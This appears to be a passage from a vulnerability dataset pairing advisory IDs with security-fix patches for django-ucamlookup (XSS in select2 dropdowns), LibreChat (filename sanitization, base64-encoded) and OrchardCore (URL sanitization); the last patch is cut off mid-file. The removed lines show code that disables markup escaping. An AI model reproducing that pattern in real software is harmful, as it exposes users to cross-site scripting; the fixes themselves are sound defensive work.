[ { "commit_message": "[PATCH] Fix lack of escaping (and so XSS vuln.) in select2 calls The invocation of Jquery select2 to provide searchable dropdowns didn't sanitise data coming fom lookup, with the result that any HTML markup it contained, including <script>...</script>, was interpreted. The documentation is difficult to follow, but indications are that the formater functions (at least formatResult and formatSelection), if overriden have to do their own escaping of data as necessary. They are however passed the current global 'escapeMarkup' function as their final parameter. .../templates/admin/auth/lookup_group/add_form.html | 12 +++++------- .../templates/admin/auth/lookup_user/add_form.html | 12 +++++------- ucamlookup/templates/ucamlookup_groups.html | 12 +++++------- ucamlookup/templates/ucamlookup_users.html | 12 +++++------- 4 files changed, 20 insertions(+), 28 deletions(-)", "patch_text_b64": "From 5e25e4765637ea4b9e0bf5fcd5e9a922abee7eb3 Mon Sep 17 00:00:00 2001
From: Jon Warbrick <jw35@cam.ac.uk>
Date: Wed, 14 Sep 2016 15:54:06 +0100
Subject: [PATCH] Fix lack of escaping (and so XSS vuln.) in select2 calls

The invocation of Jquery select2 to provide searchable dropdowns
didn't sanitise data coming fom lookup, with the result that any
HTML markup it contained, including <script>...</script>, was
interpreted.

The documentation is difficult to follow, but indications are that the
formater functions (at least formatResult and formatSelection), if
overriden have to do their own escaping of data as necessary. They are
however passed the current global 'escapeMarkup' function as their
final parameter.
---
 .../templates/admin/auth/lookup_group/add_form.html  | 12 +++++-------
 .../templates/admin/auth/lookup_user/add_form.html   | 12 +++++-------
 ucamlookup/templates/ucamlookup_groups.html          | 12 +++++-------
 ucamlookup/templates/ucamlookup_users.html           | 12 +++++-------
 4 files changed, 20 insertions(+), 28 deletions(-)

diff --git a/ucamlookup/templates/admin/auth/lookup_group/add_form.html b/ucamlookup/templates/admin/auth/lookup_group/add_form.html
index 3db4956..ab9c13e 100644
--- a/ucamlookup/templates/admin/auth/lookup_group/add_form.html
+++ b/ucamlookup/templates/admin/auth/lookup_group/add_form.html
@@ -47,20 +47,18 @@
                     return {results: data.groups};
                 }
             },
-            formatResult: function(group) {
-                return group.title;
+            formatResult: function(group, container, query, escapeMarkup) {
+                return escapeMarkup(group.title);
             },
-            formatSelection: function(group) {
-                return group.title;
+            formatSelection: function(group, container, escapeMarkup) {
+                return escapeMarkup(group.title);
             },
             id: function(group) {
                 return group.groupid;
             },
             dropdownCssClass: "bigdrop", // apply css that makes the dropdown taller
-            escapeMarkup: function (m) { return m; },
-            // we do not want to escape markup since we are displaying html in results
             width: '100%'
         });
     });
 </script>
-{% endblock %}
\ No newline at end of file
+{% endblock %}
diff --git a/ucamlookup/templates/admin/auth/lookup_user/add_form.html b/ucamlookup/templates/admin/auth/lookup_user/add_form.html
index c4081e4..26d7576 100644
--- a/ucamlookup/templates/admin/auth/lookup_user/add_form.html
+++ b/ucamlookup/templates/admin/auth/lookup_user/add_form.html
@@ -46,20 +46,18 @@
                     return {results: data.persons};
                 }
             },
-            formatResult: function(person) {
-                return person.visibleName+" ("+person.crsid+") ";
+            formatResult: function(person, container, query, escapeMarkup) {
+                return escapeMarkup(person.visibleName+" ("+person.crsid+") ");
             },
-            formatSelection: function(person) {
-                return person.visibleName+" ("+person.crsid+") ";
+            formatSelection: function(person, container, escapeMarkup) {
+                return escapeMarkup(person.visibleName+" ("+person.crsid+") ");
             },
             id: function(person) {
                 return person.crsid;
             },
             dropdownCssClass: "bigdrop", // apply css that makes the dropdown taller
-            escapeMarkup: function (m) { return m; },
-            // we do not want to escape markup since we are displaying html in results
             width: '50%'
         });
     });
 </script>
-{% endblock %}
\ No newline at end of file
+{% endblock %}
diff --git a/ucamlookup/templates/ucamlookup_groups.html b/ucamlookup/templates/ucamlookup_groups.html
index 6d95f26..5b7dc92 100644
--- a/ucamlookup/templates/ucamlookup_groups.html
+++ b/ucamlookup/templates/ucamlookup_groups.html
@@ -25,18 +25,16 @@
                     return {results: data.groups};
                 }
             },
-            formatResult: function(group) {
-                return group.title;
+            formatResult: function(group, container, query, escapeMarkup) {
+                return escapeMarkup(group.title);
             },
-            formatSelection: function(group) {
-                return group.title;
+            formatSelection: function(group, container, escapeMarkup) {
+                return escapeMarkup(group.title);
             },
             id: function(group) {
                 return group.groupid;
             },
             dropdownCssClass: "bigdrop", // apply css that makes the dropdown taller
-            escapeMarkup: function (m) { return m; }
-            // we do not want to escape markup since we are displaying html in results
         });
 
         $("#{{ input_tag_id }}").select2("data", [
@@ -48,4 +46,4 @@
             {% endfor %}
         ]);
     });
-</script>
\ No newline at end of file
+</script>
diff --git a/ucamlookup/templates/ucamlookup_users.html b/ucamlookup/templates/ucamlookup_users.html
index 94317ce..6c8b44e 100644
--- a/ucamlookup/templates/ucamlookup_users.html
+++ b/ucamlookup/templates/ucamlookup_users.html
@@ -25,18 +25,16 @@
                     return {results: data.persons};
                 }
             },
-            formatResult: function(person) {
-                return person.visibleName+" ("+person.crsid+") ";
+            formatResult: function(person, container, wuery, escapeMarkup) {
+                return escapeMarkup(person.visibleName+" ("+person.crsid+") ");
             },
-            formatSelection: function(person) {
-                return person.visibleName+" ("+person.crsid+") ";
+            formatSelection: function(person, container, escapeMarkup) {
+                return escapeMarkup(person.visibleName+" ("+person.crsid+") ");
             },
             id: function(person) {
                 return person.crsid;
             },
             dropdownCssClass: "bigdrop", // apply css that makes the dropdown taller
-            escapeMarkup: function (m) { return m; }
-            // we do not want to escape markup since we are displaying html in results
         });
 
         $("#{{ input_tag_id }}").select2("data", [
@@ -51,4 +49,4 @@
             {% endfor %}
         ]);
     });
-</script>
\ No newline at end of file
+</script>", "url": "https://github.com/uisautomation/django-ucamlookup/commit/5e25e4765637ea4b9e0bf5fcd5e9a922abee7eb3.patch" } ]
null
GHSA-mq4w-5hp5-6g52
null
[ { "commit_message": "[PATCH] fix: add filename sanitization utility and integrate it into multer storage configuration api/server/routes/files/multer.js | 3 +- api/server/utils/handleText.js | 35 ++++++++++++++++++++ api/server/utils/handleText.spec.js | 50 ++++++++++++++++++++++++++++- 3 files changed, 86 insertions(+), 2 deletions(-)", "patch_text_b64": "RnJvbSA2MjliZTVjMGNhMmIzMzIxNzg1MjRiNGUzZjZmYWM3MTVhZWE4Y2M0IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBEYW5ueSBBdmlsYSA8ZGFubnlAbGlicmVjaGF0LmFpPgpEYXRlOiBUdWUsIDEyIE5vdiAyMDI0IDE0OjMwOjU1IC0wNTAwClN1YmplY3Q6IFtQQVRDSF0gZml4OiBhZGQgZmlsZW5hbWUgc2FuaXRpemF0aW9uIHV0aWxpdHkgYW5kIGludGVncmF0ZSBpdCBpbnRvCiBtdWx0ZXIgc3RvcmFnZSBjb25maWd1cmF0aW9uCgotLS0KIGFwaS9zZXJ2ZXIvcm91dGVzL2ZpbGVzL211bHRlci5qcyAgIHwgIDMgKy0KIGFwaS9zZXJ2ZXIvdXRpbHMvaGFuZGxlVGV4dC5qcyAgICAgIHwgMzUgKysrKysrKysrKysrKysrKysrKysKIGFwaS9zZXJ2ZXIvdXRpbHMvaGFuZGxlVGV4dC5zcGVjLmpzIHwgNTAgKysrKysrKysrKysrKysrKysrKysrKysrKysrKy0KIDMgZmlsZXMgY2hhbmdlZCwgODYgaW5zZXJ0aW9ucygrKSwgMiBkZWxldGlvbnMoLSkKCmRpZmYgLS1naXQgYS9hcGkvc2VydmVyL3JvdXRlcy9maWxlcy9tdWx0ZXIuanMgYi9hcGkvc2VydmVyL3JvdXRlcy9maWxlcy9tdWx0ZXIuanMKaW5kZXggN2M1MzNiOWNiNjQ5Li5mMjNlY2QyODIzNzAgMTAwNjQ0Ci0tLSBhL2FwaS9zZXJ2ZXIvcm91dGVzL2ZpbGVzL211bHRlci5qcworKysgYi9hcGkvc2VydmVyL3JvdXRlcy9maWxlcy9tdWx0ZXIuanMKQEAgLTMsNiArMyw3IEBAIGNvbnN0IHBhdGggPSByZXF1aXJlKCdwYXRoJyk7CiBjb25zdCBjcnlwdG8gPSByZXF1aXJlKCdjcnlwdG8nKTsKIGNvbnN0IG11bHRlciA9IHJlcXVpcmUoJ211bHRlcicpOwogY29uc3QgeyBmaWxlQ29uZmlnOiBkZWZhdWx0RmlsZUNvbmZpZywgbWVyZ2VGaWxlQ29uZmlnIH0gPSByZXF1aXJlKCdsaWJyZWNoYXQtZGF0YS1wcm92aWRlcicpOworY29uc3QgeyBzYW5pdGl6ZUZpbGVuYW1lIH0gPSByZXF1aXJlKCd+L3NlcnZlci91dGlscy9oYW5kbGVUZXh0Jyk7CiBjb25zdCB7IGdldEN1c3RvbUNvbmZpZyB9ID0gcmVxdWlyZSgnfi9zZXJ2ZXIvc2VydmljZXMvQ29uZmlnJyk7CiAKIGNvbnN0IHN0b3JhZ2UgPSBtdWx0ZXIuZGlza1N0b3JhZ2UoewpAQCAtMTYsNyArMTcsNyBAQCBjb25zdCBzdG9yYWdlID0gbXVsdGVyLmRpc2tTdG9yYWdlKHsKICAgZmlsZW5hbWU6IGZ1bmN0aW9uIChyZXEsIGZpbGUsIGNiKSB7CiAgICAgcmVxLmZpbGVfaWQgPSBjcnlwdG8ucmFuZG9tVVVJRCgpOwogICAgIGZpbGUub3JpZ2luYWxuYW1lID0gZGVjb2RlVVJJQ29tcG9uZW50KGZpbGUub3JpZ2luYWxuYW1lKTsKLSAgICBjb25zdCBzYW5pdGl6ZWRGaWxlbmFtZSA9IHBhdGguYmFzZW5hbWUoZmlsZS5vcmlnaW5hbG5hbWUpOworICAgIGNvbnN0IHNhbml0aXplZEZpbGVuYW1lID0gc2FuaXRpemVGaWxlbmFtZShmaWxlLm9yaWdpbmFsbmFtZSk7CiAgICAgY2IobnVsbCwgc2FuaXRpemVkRmlsZW5hbWUpOwogICB9LAogfSk7CmRpZmYgLS1naXQgYS9hcGkvc2VydmVyL3V0aWxzL2hhbmRsZVRleHQuanMgYi9hcGkvc2VydmVyL3V0aWxzL2hhbmRsZVRleHQuanMKaW5kZXggMDhmNDA2NzJmM2JmLi41YTMyMzk0ZmNkYzUgMTAwNjQ0Ci0tLSBhL2FwaS9zZXJ2ZXIvdXRpbHMvaGFuZGxlVGV4dC5qcworKysgYi9hcGkvc2VydmVyL3V0aWxzL2hhbmRsZVRleHQuanMKQEAgLTEsMyArMSw1IEBACitjb25zdCBwYXRoID0gcmVxdWlyZSgncGF0aCcpOworY29uc3QgY3J5cHRvID0gcmVxdWlyZSgnY3J5cHRvJyk7CiBjb25zdCB7CiAgIENhcGFiaWxpdGllcywKICAgRU1vZGVsRW5kcG9pbnQsCkBAIC0yMjIsNiArMjI0LDM4IEBAIGZ1bmN0aW9uIG5vcm1hbGl6ZUVuZHBvaW50TmFtZShuYW1lID0gJycpIHsKICAgcmV0dXJuIG5hbWUudG9Mb3dlckNhc2UoKSA9PT0gUHJvdmlkZXJzLk9MTEFNQSA/IFByb3ZpZGVycy5PTExBTUEgOiBuYW1lOwogfQogCisvKioKKyAqIFNhbml0aXplIGEgZmlsZW5hbWUgYnkgcmVtb3ZpbmcgYW55IGRpcmVjdG9yeSBjb21wb25lbnRzLCByZXBsYWNpbmcgbm9uLWFscGhhbnVtZXJpYyBjaGFyYWN0ZXJzCisgKiBAcGFyYW0ge3N0cmluZ30gaW5wdXROYW1lCisgKiBAcmV0dXJucyB7c3RyaW5nfQorICovCitmdW5jdGlvbiBzYW5pdGl6ZUZpbGVuYW1lKGlucHV0TmFtZSkgeworICAvLyBSZW1vdmUgYW55IGRpcmVjdG9yeSBjb21wb25lbnRzCisgIGxldCBuYW1lID0gcGF0aC5iYXNlbmFtZShpbnB1dE5hbWUpOworCisgIC8vIFJlcGxhY2UgYW55IG5vbi1hbHBoYW51bWVyaWMgY2hhcmFjdGVycyBleGNlcHQgZm9yICcuJyBhbmQgJy0nCisgIG5hbWUgPSBuYW1lLnJlcGxhY2UoL1teYS16QS1aMC05Li1dL2csICdfJyk7CisKKyAgLy8gRW5zdXJlIHRoZSBuYW1lIGRvZXNuJ3Qgc3RhcnQgd2l0aCBhIGRvdCAoaGlkZGVuIGZpbGUgaW4gVW5peC1saWtlIHN5c3RlbXMpCisgIGlmIChuYW1lLnN0YXJ0c1dpdGgoJy4nKSB8fCBuYW1lID09PSAnJykgeworICAgIG5hbWUgPSAnXycgKyBuYW1lOworICB9CisKKyAgLy8gTGltaXQgdGhlIGxlbmd0aCBvZiB0aGUgZmlsZW5hbWUKKyAgY29uc3QgTUFYX0xFTkdUSCA9IDI1NTsKKyAgaWYgKG5hbWUubGVuZ3RoID4gTUFYX0xFTkdUSCkgeworICAgIGNvbnN0IGV4dCA9IHBhdGguZXh0bmFtZShuYW1lKTsKKyAgICBjb25zdCBuYW1lV2l0aG91dEV4dCA9IHBhdGguYmFzZW5hbWUobmFtZSwgZXh0KTsKKyAgICBuYW1lID0KKyAgICAgIG5hbWVXaXRob3V0RXh0LnNsaWNlKDAsIE1BWF9MRU5HVEggLSBleHQubGVuZ3RoIC0gNykgKworICAgICAgJy0nICsKKyAgICAgIGNyeXB0by5yYW5kb21CeXRlcygzKS50b1N0cmluZygnaGV4JykgKworICAgICAgZXh0OworICB9CisKKyAgcmV0dXJuIG5hbWU7Cit9CisKIG1vZHVsZS5leHBvcnRzID0gewogICBpc0VuYWJsZWQsCiAgIGhhbmRsZVRleHQsCkBAIC0yMzEsNSArMjY1LDYgQEAgbW9kdWxlLmV4cG9ydHMgPSB7CiAgIGdlbmVyYXRlQ29uZmlnLAogICBhZGRTcGFjZUlmTmVlZGVkLAogICBjcmVhdGVPblByb2dyZXNzLAorICBzYW5pdGl6ZUZpbGVuYW1lLAogICBub3JtYWxpemVFbmRwb2ludE5hbWUsCiB9OwpkaWZmIC0tZ2l0IGEvYXBpL3NlcnZlci91dGlscy9oYW5kbGVUZXh0LnNwZWMuanMgYi9hcGkvc2VydmVyL3V0aWxzL2hhbmRsZVRleHQuc3BlYy5qcwppbmRleCBlYTQ0MGE4OWE1N2EuLjhiMWI2ZWVmOGRkOCAxMDA2NDQKLS0tIGEvYXBpL3NlcnZlci91dGlscy9oYW5kbGVUZXh0LnNwZWMuanMKKysrIGIvYXBpL3NlcnZlci91dGlscy9oYW5kbGVUZXh0LnNwZWMuanMKQEAgLTEsNCArMSw0IEBACi1jb25zdCB7IGlzRW5hYmxlZCB9ID0gcmVxdWlyZSgnLi9oYW5kbGVUZXh0Jyk7Citjb25zdCB7IGlzRW5hYmxlZCwgc2FuaXRpemVGaWxlbmFtZSB9ID0gcmVxdWlyZSgnLi9oYW5kbGVUZXh0Jyk7CiAKIGRlc2NyaWJlKCdpc0VuYWJsZWQnLCAoKSA9PiB7CiAgIHRlc3QoJ3Nob3VsZCByZXR1cm4gdHJ1ZSB3aGVuIGlucHV0IGlzICJ0cnVlIicsICgpID0+IHsKQEAgLTQ5LDMgKzQ5LDUxIEBAIGRlc2NyaWJlKCdpc0VuYWJsZWQnLCAoKSA9PiB7CiAgICAgZXhwZWN0KGlzRW5hYmxlZChbXSkpLnRvQmUoZmFsc2UpOwogICB9KTsKIH0pOworCitqZXN0Lm1vY2soJ2NyeXB0bycsICgpID0+ICh7CisgIHJhbmRvbUJ5dGVzOiBqZXN0LmZuKCkubW9ja1JldHVyblZhbHVlKEJ1ZmZlci5mcm9tKCdhYmMxMjMnLCAnaGV4JykpLAorfSkpOworCitkZXNjcmliZSgnc2FuaXRpemVGaWxlbmFtZScsICgpID0+IHsKKyAgdGVzdCgncmVtb3ZlcyBkaXJlY3RvcnkgY29tcG9uZW50cyAoMS8yKScsICgpID0+IHsKKyAgICBleHBlY3Qoc2FuaXRpemVGaWxlbmFtZSgnL3BhdGgvdG8vZmlsZS50eHQnKSkudG9CZSgnZmlsZS50eHQnKTsKKyAgfSk7CisKKyAgdGVzdCgncmVtb3ZlcyBkaXJlY3RvcnkgY29tcG9uZW50cyAoMi8yKScsICgpID0+IHsKKyAgICBleHBlY3Qoc2FuaXRpemVGaWxlbmFtZSgnLi4vLi4vLi4vLi4vZmlsZS50eHQnKSkudG9CZSgnZmlsZS50eHQnKTsKKyAgfSk7CisKKyAgdGVzdCgncmVwbGFjZXMgbm9uLWFscGhhbnVtZXJpYyBjaGFyYWN0ZXJzJywgKCkgPT4geworICAgIGV4cGVjdChzYW5pdGl6ZUZpbGVuYW1lKCdmaWxlIG5hbWVAIyQudHh0JykpLnRvQmUoJ2ZpbGVfbmFtZV9fXy50eHQnKTsKKyAgfSk7CisKKyAgdGVzdCgncHJlc2VydmVzIGRvdHMgYW5kIGh5cGhlbnMnLCAoKSA9PiB7CisgICAgZXhwZWN0KHNhbml0aXplRmlsZW5hbWUoJ2ZpbGUtbmFtZS53aXRoLmRvdHMudHh0JykpLnRvQmUoJ2ZpbGUtbmFtZS53aXRoLmRvdHMudHh0Jyk7CisgIH0pOworCisgIHRlc3QoJ3ByZXBlbmRzIHVuZGVyc2NvcmUgdG8gZmlsZW5hbWVzIHN0YXJ0aW5nIHdpdGggYSBkb3QnLCAoKSA9PiB7CisgICAgZXhwZWN0KHNhbml0aXplRmlsZW5hbWUoJy5oaWRkZW5maWxlJykpLnRvQmUoJ18uaGlkZGVuZmlsZScpOworICB9KTsKKworICB0ZXN0KCd0cnVuY2F0ZXMgbG9uZyBmaWxlbmFtZXMnLCAoKSA9PiB7CisgICAgY29uc3QgbG9uZ05hbWUgPSAnYScucmVwZWF0KDMwMCkgKyAnLnR4dCc7CisgICAgY29uc3QgcmVzdWx0ID0gc2FuaXRpemVGaWxlbmFtZShsb25nTmFtZSk7CisgICAgZXhwZWN0KHJlc3VsdC5sZW5ndGgpLnRvQmUoMjU1KTsKKyAgICBleHBlY3QocmVzdWx0KS50b01hdGNoKC9eYSstYWJjMTIzXC50eHQkLyk7CisgIH0pOworCisgIHRlc3QoJ2hhbmRsZXMgZmlsZW5hbWVzIHdpdGggbm8gZXh0ZW5zaW9uJywgKCkgPT4geworICAgIGNvbnN0IGxvbmdOYW1lID0gJ2EnLnJlcGVhdCgzMDApOworICAgIGNvbnN0IHJlc3VsdCA9IHNhbml0aXplRmlsZW5hbWUobG9uZ05hbWUpOworICAgIGV4cGVjdChyZXN1bHQubGVuZ3RoKS50b0JlKDI1NSk7CisgICAgZXhwZWN0KHJlc3VsdCkudG9NYXRjaCgvXmErLWFiYzEyMyQvKTsKKyAgfSk7CisKKyAgdGVzdCgnaGFuZGxlcyBlbXB0eSBpbnB1dCcsICgpID0+IHsKKyAgICBleHBlY3Qoc2FuaXRpemVGaWxlbmFtZSgnJykpLnRvQmUoJ18nKTsKKyAgfSk7CisKKyAgdGVzdCgnaGFuZGxlcyBpbnB1dCB3aXRoIG9ubHkgc3BlY2lhbCBjaGFyYWN0ZXJzJywgKCkgPT4geworICAgIGV4cGVjdChzYW5pdGl6ZUZpbGVuYW1lKCdAIyQlXiYqJykpLnRvQmUoJ19fX19fX18nKTsKKyAgfSk7Cit9KTs=", "url": "https://github.com/danny-avila/librechat/commit/629be5c0ca2b332178524b4e3f6fac715aea8cc4.patch" } ]
null
CVE-2022-0274
Cross-site Scripting (XSS) - Stored in orchardcms/orchardcore
Cross-site Scripting (XSS) - Stored in NuGet OrchardCore.Application.Cms.Targets prior to 1.2.2.
[ { "commit_message": "[PATCH] Fix localization and sanitization usages (#11034) .../Drivers/LinkFieldDisplayDriver.cs | 22 +++++-- .../AuditTrailContentController.cs | 5 +- .../Drivers/HtmlMenuItemPartDisplayDriver.cs | 50 +++++++++++++++- .../Drivers/LinkMenuItemPartDisplayDriver.cs | 57 +++++++++++++++++++ .../Workflows/Activities/RegisterUserTask.cs | 7 +-- .../Activities/NotifyTask.cs | 2 + .../Items/UserTaskEvent.Fields.Design.cshtml | 2 +- .../Views/Workflow/Details.cshtml | 2 +- .../Views/Workflow/Index.cshtml | 2 +- .../Helpers/ActivityExtensions.cs | 16 +++--- 10 files changed, 144 insertions(+), 21 deletions(-)", "patch_text_b64": "From 218f25ddfadb66a54de7a82dffe3ab2e4ab7c4b4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20Ros?= <sebastienros@gmail.com>
Date: Tue, 18 Jan 2022 11:03:05 -0800
Subject: [PATCH] Fix localization and sanitization usages (#11034)

---
 .../Drivers/LinkFieldDisplayDriver.cs         | 22 +++++--
 .../AuditTrailContentController.cs            |  5 +-
 .../Drivers/HtmlMenuItemPartDisplayDriver.cs  | 50 +++++++++++++++-
 .../Drivers/LinkMenuItemPartDisplayDriver.cs  | 57 +++++++++++++++++++
 .../Workflows/Activities/RegisterUserTask.cs  |  7 +--
 .../Activities/NotifyTask.cs                  |  2 +
 .../Items/UserTaskEvent.Fields.Design.cshtml  |  2 +-
 .../Views/Workflow/Details.cshtml             |  2 +-
 .../Views/Workflow/Index.cshtml               |  2 +-
 .../Helpers/ActivityExtensions.cs             | 16 +++---
 10 files changed, 144 insertions(+), 21 deletions(-)

diff --git a/src/OrchardCore.Modules/OrchardCore.ContentFields/Drivers/LinkFieldDisplayDriver.cs b/src/OrchardCore.Modules/OrchardCore.ContentFields/Drivers/LinkFieldDisplayDriver.cs
index e31df434b5c..cf8e9d2cbc6 100644
--- a/src/OrchardCore.Modules/OrchardCore.ContentFields/Drivers/LinkFieldDisplayDriver.cs
+++ b/src/OrchardCore.Modules/OrchardCore.ContentFields/Drivers/LinkFieldDisplayDriver.cs
@@ -1,4 +1,5 @@
 using System;
+using System.Text.Encodings.Web;
 using System.Threading.Tasks;
 using Microsoft.AspNetCore.Mvc.Infrastructure;
 using Microsoft.AspNetCore.Mvc.Routing;
@@ -11,6 +12,7 @@
 using OrchardCore.ContentManagement.Metadata.Models;
 using OrchardCore.DisplayManagement.ModelBinding;
 using OrchardCore.DisplayManagement.Views;
+using OrchardCore.Infrastructure.Html;
 using OrchardCore.Mvc.ModelBinding;
 
 namespace OrchardCore.ContentFields.Drivers
@@ -20,15 +22,21 @@ public class LinkFieldDisplayDriver : ContentFieldDisplayDriver<LinkField>
         private readonly IUrlHelperFactory _urlHelperFactory;
         private readonly IActionContextAccessor _actionContextAccessor;
         private readonly IStringLocalizer S;
+        private readonly IHtmlSanitizerService _htmlSanitizerService;
+        private readonly HtmlEncoder _htmlencoder;
 
         public LinkFieldDisplayDriver(
             IUrlHelperFactory urlHelperFactory,
             IActionContextAccessor actionContextAccessor,
-            IStringLocalizer<LinkFieldDisplayDriver> localizer)
+            IStringLocalizer<LinkFieldDisplayDriver> localizer,
+            IHtmlSanitizerService htmlSanitizerService,
+            HtmlEncoder htmlencoder)
         {
             _urlHelperFactory = urlHelperFactory;
             _actionContextAccessor = actionContextAccessor;
             S = localizer;
+            _htmlSanitizerService = htmlSanitizerService;
+            _htmlencoder = htmlencoder;
         }
 
         public override IDisplayResult Display(LinkField field, BuildFieldDisplayContext context)
@@ -91,6 +99,15 @@ public override async Task<IDisplayResult> UpdateAsync(LinkField field, IUpdateM
                 {
                     updater.ModelState.AddModelError(Prefix, nameof(field.Url), S["{0} is an invalid url.", field.Url]);
                 }
+                else
+                {
+                    var link = $"<a href=\"{_htmlencoder.Encode(urlToValidate)}\"></a>";
+
+                    if (!String.Equals(link, _htmlSanitizerService.Sanitize(link), StringComparison.OrdinalIgnoreCase))
+                    {
+                        updater.ModelState.AddModelError(Prefix, nameof(field.Url), S["{0} is an invalid url.", field.Url]);
+                    }
+                }
 
                 // Validate Text
                 if (settings.LinkTextMode == LinkTextMode.Required && String.IsNullOrWhiteSpace(field.Text))
@@ -101,9 +118,6 @@ public override async Task<IDisplayResult> UpdateAsync(LinkField field, IUpdateM
                 {
                     updater.ModelState.AddModelError(Prefix, nameof(field.Text), S["The text default value is required for {0}.", context.PartFieldDefinition.DisplayName()]);
                 }
-
-                // Run this through a sanitizer in case someone puts html in it.
-                // No settings.
             }
 
             return Edit(field, context);
diff --git a/src/OrchardCore.Modules/OrchardCore.Contents/AuditTrail/Controllers/AuditTrailContentController.cs b/src/OrchardCore.Modules/OrchardCore.Contents/AuditTrail/Controllers/AuditTrailContentController.cs
index 582f47b8ec1..88aff43c623 100644
--- a/src/OrchardCore.Modules/OrchardCore.Contents/AuditTrail/Controllers/AuditTrailContentController.cs
+++ b/src/OrchardCore.Modules/OrchardCore.Contents/AuditTrail/Controllers/AuditTrailContentController.cs
@@ -111,12 +111,15 @@ public async Task<ActionResult> Restore(string auditTrailEventId)
             }
 
             var result = await _contentManager.RestoreAsync(contentItem);
+
             if (!result.Succeeded)
             {
                 await _notifier.WarningAsync(H["'{0}' was not restored, the version is not valid.", contentItem.DisplayText]);
+
                 foreach (var error in result.Errors)
                 {
-                    await _notifier.WarningAsync(new LocalizedHtmlString(error.ErrorMessage, error.ErrorMessage));
+                    // Pass ErrorMessage as an argument to ensure it is encoded
+                    await _notifier.WarningAsync(new LocalizedHtmlString(nameof(AuditTrailContentController.Restore), "{0}", false, error.ErrorMessage));
                 }
 
                 return RedirectToAction("Index", "Admin", new { area = "OrchardCore.AuditTrail" });
diff --git a/src/OrchardCore.Modules/OrchardCore.Menu/Drivers/HtmlMenuItemPartDisplayDriver.cs b/src/OrchardCore.Modules/OrchardCore.Menu/Drivers/HtmlMenuItemPartDisplayDriver.cs
index eb331b27fdf..f483404ac44 100644
--- a/src/OrchardCore.Modules/OrchardCore.Menu/Drivers/HtmlMenuItemPartDisplayDriver.cs
+++ b/src/OrchardCore.Modules/OrchardCore.Menu/Drivers/HtmlMenuItemPartDisplayDriver.cs
@@ -1,4 +1,9 @@
+using System;
+using System.Text.Encodings.Web;
 using System.Threading.Tasks;
+using Microsoft.AspNetCore.Mvc.Infrastructure;
+using Microsoft.AspNetCore.Mvc.Routing;
+using Microsoft.Extensions.Localization;
 using OrchardCore.ContentManagement.Display.ContentDisplay;
 using OrchardCore.ContentManagement.Display.Models;
 using OrchardCore.DisplayManagement.ModelBinding;
@@ -12,11 +17,25 @@ namespace OrchardCore.Menu.Drivers
 {
     public class HtmlMenuItemPartDisplayDriver : ContentPartDisplayDriver<HtmlMenuItemPart>
     {
+        private readonly IUrlHelperFactory _urlHelperFactory;
+        private readonly IActionContextAccessor _actionContextAccessor;
         private readonly IHtmlSanitizerService _htmlSanitizerService;
+        private readonly HtmlEncoder _htmlencoder;
+        private readonly IStringLocalizer S;
 
-        public HtmlMenuItemPartDisplayDriver(IHtmlSanitizerService htmlSanitizerService)
+        public HtmlMenuItemPartDisplayDriver(
+            IUrlHelperFactory urlHelperFactory,
+            IActionContextAccessor actionContextAccessor,
+            IStringLocalizer<HtmlMenuItemPartDisplayDriver> localizer,
+            IHtmlSanitizerService htmlSanitizerService,
+            HtmlEncoder htmlencoder
+            )
         {
+            _urlHelperFactory = urlHelperFactory;
+            _actionContextAccessor = actionContextAccessor;
             _htmlSanitizerService = htmlSanitizerService;
+            _htmlencoder = htmlencoder;
+            S = localizer;
         }
 
         public override IDisplayResult Display(HtmlMenuItemPart part, BuildPartDisplayContext context)
@@ -62,6 +81,35 @@ public override async Task<IDisplayResult> UpdateAsync(HtmlMenuItemPart part, IU
                 part.ContentItem.DisplayText = model.Name;
                 part.Html = settings.SanitizeHtml ? _htmlSanitizerService.Sanitize(model.Html) : model.Html;
                 part.Url = model.Url;
+
+                var urlToValidate = part.Url;
+
+                if (!String.IsNullOrEmpty(urlToValidate))
+                {
+                    urlToValidate = urlToValidate.Split('#', 2)[0];
+
+                    if (urlToValidate.StartsWith("~/", StringComparison.Ordinal))
+                    {
+                        var urlHelper = _urlHelperFactory.GetUrlHelper(_actionContextAccessor.ActionContext);
+                        urlToValidate = urlHelper.Content(urlToValidate);
+                    }
+
+                    urlToValidate = urlToValidate.ToUriComponents();
+
+                    if (!Uri.IsWellFormedUriString(urlToValidate, UriKind.RelativeOrAbsolute))
+                    {
+                        updater.ModelState.AddModelError(nameof(part.Url), S["{0} is an invalid url.", part.Url]);
+                    }
+                    else
+                    {
+                        var link = $"<a href=\"{_htmlencoder.Encode(urlToValidate)}\"></a>";
+
+                        if (!String.Equals(link, _htmlSanitizerService.Sanitize(link), StringComparison.OrdinalIgnoreCase))
+                        {
+                            updater.ModelState.AddModelError(nameof(part.Url), S["{0} is an invalid url.", part.Url]);
+                        }
+                    }
+                }
             }
 
             return Edit(part, context);
diff --git a/src/OrchardCore.Modules/OrchardCore.Menu/Drivers/LinkMenuItemPartDisplayDriver.cs b/src/OrchardCore.Modules/OrchardCore.Menu/Drivers/LinkMenuItemPartDisplayDriver.cs
index 1fd1dfd4764..f6c078cdbc3 100644
--- a/src/OrchardCore.Modules/OrchardCore.Menu/Drivers/LinkMenuItemPartDisplayDriver.cs
+++ b/src/OrchardCore.Modules/OrchardCore.Menu/Drivers/LinkMenuItemPartDisplayDriver.cs
@@ -1,8 +1,14 @@
+using System;
+using System.Text.Encodings.Web;
 using System.Threading.Tasks;
+using Microsoft.AspNetCore.Mvc.Infrastructure;
+using Microsoft.AspNetCore.Mvc.Routing;
+using Microsoft.Extensions.Localization;
 using OrchardCore.ContentManagement.Display.ContentDisplay;
 using OrchardCore.ContentManagement.Display.Models;
 using OrchardCore.DisplayManagement.ModelBinding;
 using OrchardCore.DisplayManagement.Views;
+using OrchardCore.Infrastructure.Html;
 using OrchardCore.Menu.Models;
 using OrchardCore.Menu.ViewModels;
 
@@ -10,6 +16,26 @@ namespace OrchardCore.Menu.Drivers
 {
     public class LinkMenuItemPartDisplayDriver : ContentPartDisplayDriver<LinkMenuItemPart>
     {
+        private readonly IUrlHelperFactory _urlHelperFactory;
+        private readonly IActionContextAccessor _actionContextAccessor;
+        private readonly IHtmlSanitizerService _htmlSanitizerService;
+        private readonly HtmlEncoder _htmlencoder;
+        private readonly IStringLocalizer S;
+
+        public LinkMenuItemPartDisplayDriver(
+            IUrlHelperFactory urlHelperFactory,
+            IActionContextAccessor actionContextAccessor,
+            IStringLocalizer<LinkMenuItemPartDisplayDriver> localizer,
